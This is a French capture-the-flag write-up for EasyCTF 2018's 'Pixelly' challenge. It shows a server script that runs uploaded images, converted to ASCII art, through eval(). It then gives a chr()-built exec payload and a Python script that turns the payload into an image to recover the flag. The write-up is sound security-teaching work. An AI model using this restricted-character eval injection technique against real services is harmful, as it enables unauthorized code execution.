Zeecka zeecka

Pixelly

EasyCTF 2018 - RE (220 pts)

EasyCTF 2018: Pixelly

EventChallengeCategoryPointsSolves
EasyCTF 2018PixellyReverse Engineering220?

Description

J’ai créé un nouveau générateur d’ASCII art, et il fonctionne à merveille ! Mais je crains que quelqu’un y ait peut-être placé une backdoor. Tu devrais peut-être jeter un œil au code source pour moi…

TL;DR

Dans ce challenge, nous devions nous connecter à http://c1.easyctf.com:12489/ et regarder le code source.
Le site nous proposait d’uploader une image, qui était convertie en ascii art et évaluée avec eval.
L’ascii art était composé des caractères suivants : -“~rc()+=01exh% .
Nous avons identifié que nous pouvions forger des chaînes avec chr() et des nombres chr(110+10-1) et exécuter du code avec exec().
Pour obtenir le flag, nous devions évaluer “print(flag)” avec le payload suivant :
exec(chr(111+1)+chr(111+1+1+1)+chr(101+1+1+1+1)+chr(110)+chr(111+1+1+1+1+1)+chr(10+10+10+10)+chr(101+1+ 0%1)+chr(110-1-1)+chr(100-1-1-1)+chr(101+1+1)+chr(10+10+10+10+1))
Nous devions convertir le payload en une image avec les bonnes teintes de couleur pour chaque caractère.
En uploadant l’image, nous avons obtenu le flag.

Observation du site web

Pour le challenge, nous avions une url ( http://c1.easyctf.com:12489/ ) et un code source python ( asciinator.py ). J’ai décidé de visiter l’url en premier.

Sur le site, nous avions d’abord un formulaire d’upload nous demandant une image. J’ai décidé d’envoyer celle-ci :

![fig1](/files/easyctf_2018/pixelly/Avatar.jpg)

Après avoir envoyé l’image, nous avons obtenu la sortie textuelle suivante :

![fig1](/files/easyctf_2018/pixelly/converted.png)

On peut voir que le formulaire utilise les différentes teintes de couleur de notre image et les « traduit » en texte. On peut aussi voir après quelques tests que le site redimensionne notre image originale.

Observation du code source

asciinator.py

#!/usr/bin/env python3
# Modified from https://gist.github.com/cdiener/10491632

import sys
from PIL import Image
import numpy as np

# it's me flage!
flag = '<redacted>'

# settings
chars = np.asarray(list(' -"~rc()+=01exh%'))
SC, GCF, WCF = 1/10, 1, 7/4

# read file
img = Image.open(sys.argv[1])

# process
S = ( round(img.size[0]*SC*WCF), round(img.size[1]*SC) )
img = np.sum( np.asarray( img.resize(S) ), axis=2)
img -= img.min()
img = (1.0 - img/img.max())**GCF*(chars.size-1)

arr = chars[img.astype(int)]
arr = '\n'.join(''.join(row) for row in arr)
print(arr)

# hehehe
try:
    eval(arr)
except SyntaxError:
pass

Le code précédent confirme ce que nous avons vu sur le site. Nous pouvons en déduire les étapes suivantes :
- Un flag est initialisé dans la variable "flag". - Une image donnée est redimensionnée (1ère ligne du process) - Ensuite le script calibre la couleur, les teintes minimales sont mises à 0 et les maximales à 255. - Le script convertit la teinte de couleur en une charlist. Cette conversion est stockée dans la variable "arr".
( La gauche de la char list correspond aux couleurs les plus claires et la fin aux plus foncées. ) - Après le commentaire "hehehe", nous pouvons voir que le code évalue la variable "arr" (image convertie).

Que devons-nous faire ?

Pour résoudre le challenge, nous devions forger la bonne image, qui, une fois convertie et évaluée, affiche le flag.

Trouver le payload textuel

Nous avons commencé par chercher ce qui devait se trouver dans la fonction d’évaluation. Étant donné que nous n’avions que peu de caractères, nous ne pouvions pas simplement écrire “flag” ou “print(flag)”.
L’ascii art était composé des caractères suivants : ’ -“~rc()+=01exh%’
Nous avons identifié que nous pouvions forger des chaînes avec chr(), des nombres 110-10+1 , des lettres [ c-à-d. chr(110-10+1) pour w ] et exécuter du code avec exec().

Nous avons d’abord essayé d’afficher une mauvaise variable : eval(“exec(‘print(f)’)”)

flag = "myflag"
payload = "exec(chr(111+1)+chr(111+1+1+1)+chr(101+1+1+1+1)+chr(110)+chr(111+1+1+1+1+1)+chr(10+10+10+10)+chr(101+1)+chr(10+10+10+10+1))"

Nous avons obtenu ” NameError: name ‘f’ is not defined ”

Ensuite nous avons essayé d’afficher la bonne variable : eval(“exec(‘print(flag)’)”)

flag = "myflag"
payload = "exec(chr(111+1)+chr(111+1+1+1)+chr(101+1+1+1+1)+chr(110)+chr(111+1+1+1+1+1)+chr(10+10+10+10)+chr(101+1)+chr(110-1-1)+chr(100-1-1-1)+chr(101+1+1)+chr(10+10+10+10+1))"

Nous avons obtenu ” myflag ”

À cause de la calibration, nous devions utiliser le premier et le dernier caractère : un espace et %. J’ai simplement ajouté ”+ 0%1” à un chr().
Cela ne changeait rien à part la présence des caractères.

Nous avons trouvé le payload suivant :

flag = "myflag"
payload = "exec(chr(111+1)+chr(111+1+1+1)+chr(101+1+1+1+1)+chr(110)+chr(111+1+1+1+1+1)+chr(10+10+10+10)+chr(101+1+ 0%1)+chr(110-1-1)+chr(100-1-1-1)+chr(101+1+1)+chr(10+10+10+10+1))"

Nous avons obtenu ” myflag ”

Notre payload textuel est prêt !

Conversion du payload textuel en image

Le redimensionnement de l’image était un peu bizarre : la hauteur était divisée par 10 et la largeur multipliée par 7/40.
J’ai fait un peu de magie sur la largeur et le redimensionnement, mais voici le script qui génère le payload en image. Chaque caractère a une hauteur de 10px et une largeur comprise entre 6 et 5.

from PIL import Image

payload= "exec(chr(111+1)+chr(111+1+1+1)+chr(101+1+1+1+1)+chr(110)+chr(111+1+1+1+1+1)+chr(10+10+10+10)+chr(101+1+ 0%1)+chr(110-1-1)+chr(100-1-1-1)+chr(101+1+1)+chr(10+10+10+10+1))"

lchar = ' -"~rc()+=01exh%'[::-1] # Invert White & Black due to percent conversion
pxs = []

for i in range(10): # height (will be devided by 10 in resize)
    x = 0
    for l in payload:
        percent = float((lchar.index(l)+1))/float(len(lchar)) # Shade position
        n = 6 # Pixels with of each char
        if x%4 == 0 or x%14 == 0: # Small resize tricks du to image resize
            n = 5
        val = int(255*percent)
        if(l == '-'): # Little edit due to shade calibration
            val -= 15
        for j in range(n): # Add color
            pxs.append((val,val,val))
        x += 1

img = Image.new('RGB', (len(pxs)/10,10))
img.putdata(pxs)
img.save("flag.png")

Cela nous a donné l’image qui, une fois uploadée et évaluée, nous a donné le flag.

![fig1](/files/easyctf_2018/pixelly/flag.png)

FLAG

easyctf{wish_thi5_fl@g_was_1n_ASCII_@rt_t0o!}

Zeecka